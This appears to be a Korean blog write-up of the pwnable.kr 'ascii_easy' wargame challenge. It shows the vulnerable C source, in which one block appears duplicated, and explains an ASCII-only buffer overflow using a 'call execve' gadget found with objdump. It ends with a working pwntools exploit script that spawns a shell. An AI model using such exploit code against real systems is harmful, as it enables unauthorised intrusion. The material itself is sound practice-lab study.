Pwnstar
Pwnable.kr ascii_easy 본문
풀 때 애를 많이 먹었던 문제이다.
소스코드
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#define BASE ((void*)0x5555e000)
int is_ascii(int c){
if(c>=0x20 && c<=0x7f) return 1;
return 0;
}
void vuln(char* p){
char buf[20];
strcpy(buf, p);
}
void main(int argc, char* argv[]){
if(argc!=2){
printf("usage: ascii_easy [ascii input]\n");
return;
}
void vuln(char* p){
char buf[20];
strcpy(buf, p);
}
void main(int argc, char* argv[]){
if(argc!=2){
printf("usage: ascii_easy [ascii input]\n");
return;
}
size_t len_file;
struct stat st;
int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
if( fstat(fd,&st) < 0){
printf("open error. tell admin!\n");
return;
}
len_file = st.st_size;
if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
printf("mmap error!. tell admin\n");
return;
}
int i;
for(i=0; i<strlen(argv[1]); i++){
if( !is_ascii(argv[1][i]) ){
printf("you have non-ascii byte!\n");
return;
}
}
printf("triggering bug...\n");
vuln(argv[1]);
}
코드를 보면 우선 libc가 0x5555e000의 주소를 base로 해서 올라가고, 입력이 아스키에 포함되지 않으면 종료된다.
처음엔 상당히 간단한 문제인 줄 알았다. 보호기법은 NX만 걸려있고, 그냥 eip를 원샷 가젯으로 덮으면 당연히 될 것 같다는 생각을 하고 페이로드를 짰었다.
우선 모든 페이로드가 아스키 바이트여야 하기 때문에 그 조건에 맞는 원샷 가젯을 찾아보았다.
0x555c467f
생각보다 빠르게 찾았고 바로 페이로드를 짜서 실행해보았지만 되지 않았다.
이유는 아직도 모르겠음
아무튼 다른 방법을 찾아야했는데, execve나 system의 함수는 아스키에 포함되지 않는 바이트가 있어서 사용할 수가 없었다..
또 다른 방법으로 쉘을 딸 방법을 생각해야 했는데 그 방법을 오랫동안 찾지 못했다. 그러다 알게 된 방법이 call execve를 사용하라는 것이었다.
보통 32비트에서 rop를 짤 때
payload +=p32(함수plt)
payload += p32(ret)
payload += p32(인자1)
payload += p32(인자2)
이런 식으로 입력하게 되는데, call execve를 하게 될 경우 ret을 신경쓰지 않아도 된다고 한다.
(이것도 좀 공부해봐야할 부분...아직도 왜 그런지를 모르겠다.)
아무튼 이렇게 되면 페이로드는 굉장히 간단해진다.
payload = 'A'*32
payload += p32(call_execve)
payload += "/bin/sh"
payload += NULL
payload += NULL
이런 식으로 구성해주면 된다.
call execve 는
objdump -d /home/ascii_easy/libc-2.15.so | egrep "execve"
위 명령어로 찾으면 된다.
대충 아스키 삘이 나는것 찾아서 계산해보니 맞았다.
null은 라이브러리 내부에 존재하는 0x00000000의 부분 중 아스키 바이트로 이루어져 있는 부분을 찾아서 쓰면 된다.
잘 찾는 방법을 몰라서 노가다로 찾았다;;
문제는 여기였다. /bin/sh 주소가 딱 하나 있는데 그 마저 아스키바이트가 아니다.
그래서 존재하는 문자열에 링크를 걸어주기로 했다.
usag 라는 문자열에 /bin/sh를 링크 걸어주고, 이 부분의 주소를 첫번째 인자로 주면 된다.
ex.py
from pwn import*
call_execve = 0x5561676a
usag = 0x556c2e41
null = 0x55566458
payload = 'A'*32
payload += p32(call_execve)
payload += p32(usag)
payload += p32(null)
payload += p32(null)
p = process(['/home/ascii_easy/ascii_easy', payload])
p.interactive()
음 usag 문자열이 먹히지 않아서 다른 문자열을 찾았다.
이걸로 도전해보자
성공이다
끗
'Pwnable.kr > Rookiss' 카테고리의 다른 글
Pwnable.kr tiny_easy (0) | 2020.06.25 |
---|---|
Pwnable.kr dragon (0) | 2020.06.16 |
Pwnable.kr md5 calulator (0) | 2020.06.16 |
Pwnable.kr simple login (0) | 2020.06.10 |
Pwnable.kr brain fuck (0) | 2020.03.24 |